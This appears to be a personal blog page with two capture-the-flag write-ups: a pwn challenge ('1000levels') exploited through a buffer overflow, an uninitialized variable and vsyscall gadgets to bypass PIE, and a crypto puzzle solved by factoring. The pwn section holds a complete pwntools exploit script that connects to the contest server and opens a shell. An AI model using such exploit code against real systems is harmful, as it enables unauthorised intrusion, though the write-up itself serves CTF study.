Z NQT

[HITB GSEC Singapore 2017] [Pwn] 1000levels

Description

It’s more diffcult.

nc 47.74.147.103 20001

Download Attachments

Analysis

Firstly, I check this file

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

This program have some functions :

  1. Go
  2. Hint
  3. Give up

After open file in IDA. It’s easy to see the first vuln : bof

for ( i = read(0, &buf, 1024uLL); i & 7; ++i )
        *(&buf + i) = 0;

With this vuln, you can ret to anywhere. But PIE enabled, so you can’t ret to any addr in program to leak stack or libc.

Suddenly, i remember a trick to bypass this PIE. Using vsyscall. The addr of vsyscall static in kernel. It just has some gadget to ret to the next addr in stack. If the next addr is in libc , You can overwrite some byte to return to addr you want in libc. But the line *(&buf + i) = 0; prevent you to do it.

I was stuck at this for a long time …

Then my bro in my team told me that i should debug more carefully at the step input number.


 puts("How many levels?");
  v2 = read_num();
  if ( v2 > 0 )
    v5 = v2;
  else
    puts("Coward");
  puts("Any more?");
  v3 = read_num();
  v5 = v5 + v3;

if v2 <=0 then v5 uninitialized . Actually, I had seen this vuln before, but i have no idea to do with it. Then i realized i haven’t used the function Hint yet.


if ( show_hint )
  {
    sprintf(&v1, "Hint: %p\n", &system, &system);
  }

This case never come true ‘cause you can’t change the value of show_hint. But after run this function, the libc function system will be in stack ! And more magicly is it’s in the addr of v5. So everything will easy now.

My exploit scenario :

  1. Run Hint
  2. Run Go
    • Input <=0 number at first time
    • Input the distance from system addr to the one_gadget addr in libc (cause v5 = v5 + v3 )
    • Pass some levels to come nearly v5 addr
    • Use bof vuln and vsyscall to ret to v5 addr
    • Get shell and cat flag !!!

After debugging and calculating,i realized that after pass 997 levels, rsp will be near v5 address.

Exploit code :

from pwn import *
vsyscall=0xffffffffff600000
one_gadget=0xf0274 # this offset conditions fit to this program

libc=ELF('libc.so.6')

def main(argv):
	if len(argv)<2:
		r=process('./1000levels')
	else:
		r=remote('47.74.147.103',20001)
	#pause()
	# Hint
	r.recvuntil('Choice:')
	r.sendline('2')

	# Go
	r.recvuntil('Choice:')
	r.sendline('1')

	r.recvuntil('levels?')
	r.sendline('-1')
	r.recvuntil('more?')
	to_one_gadget=one_gadget-libc.symbols['system']
	r.sendline(str(to_one_gadget))

	log.info('Calculating ... ')
	for i in xrange(997):
		r.recvuntil(': ')
		data=r.recvuntil(' =')
		#print data
		d=eval(data[:len(data)-1])
		r.recvuntil('Answer:')
		r.sendline(str(d))
	log.info('Done')
	#pause()
	r.recvuntil('Answer:')
	pl=""
	pl+="0"*56+p64(vsyscall)*23
	r.send(pl)
	
	r.interactive()

main(sys.argv)

aa

I can’t solve this challenge in the contest, and my team have no pwn : (. But at least, i learned many things from this challenge and the contest.

Thank you Peternguyen for the hint and my teammate QD .

Congratz the HITB GSEC CTF runner-up Injocker10K from my team !

[MeePwnCTF][Crypto] MATH

| \ / | / -\ T | - |

It’s quite a ez chall but don’t know why some guys stuck with it :/

I hack your brain!

hack.py

from Crypto.Util.number import *
from hashlib import md5

flag = "XXX"
assert len(flag) == 14
pad = bytes_to_long(md5(flag).digest())

hack = 0

for char in flag:
	hack+= pad
	hack*= ord(char)
	
print hack
#hack = 64364485357060434848865708402537097493512746702748009007197338675
#flag_to_submit = "MeePwnCTF{" + flag + "}"

Following the code we know that length of flag = 14 and hack has format like :

hack = ...((ord(flag[0]).pad+pad).ord(flag[1]))+pad).ord(flag[2]))....)+pad).ord(flag[13])

flag is ASCII strings and printable so : $32 <= ord(flag[i]) <= 127$

Solution:

  1. We will find last char of flag ( using mod ). Then hack/ord(flag[13]) = pad.[((ord(flag[0])+1).ord(flag[1]+1)...)]
  2. Length of pad will be >=32 but after run this script i guess length of pad is 39.
  3. Factor the hack/ord(flag[13]) then finding all combinations of it to find pad.
  4. After finding pad, I use recursion algorithm to find all possible flag.

Code :

I find last char first (just using mod) and flag[13]={"i","k","K","?"}

(some chars were removed because have no case have it at last (eg : #))

I wrote a quick script and don’t optimize it :P

from itertools import combinations
hack=64364485357060434848865708402537097493512746702748009007197338675


def re(x,d):
	if x<=32:
		return
	temp=d
	for i in xrange(48,128):
		if x%i==0:
			temp=chr(i)+d
			if len(temp)==13 and x==i:
				print temp
			re(x/i-1,temp)

def check(x):
	if len(str(x))==39:
		return True
	else:
		return False
    
def prd(a):
	s=1
	for i in a:
		s=s*i
	return s

def gen(f,a):
	for i in xrange(len(a)-1):
		l=list(combinations(a,i))
		for j in l:
			pr=prd(j)
			if check(pr):
				print "-"*20
				div=f/pr-1
				re(div,"")

				

factor=[107,3,3,5,5,7,487,607, 28429 , 29287, 420577267963, 3680317203978923,1002528655290265069]

#change this arr for each last char
ft=[107,5,5,487,607, 28429 , 29287, 420577267963, 3680317203978923,1002528655290265069]

#change hack/ord(flag[13]) for each last char
gen(hack/ord('?'),ft)
'''
d0y0ul1keM@TH?
'''

Result :

flag

FLAG : MeePwnCTF{d0y0ul1keM@TH?} nice chall, bro :))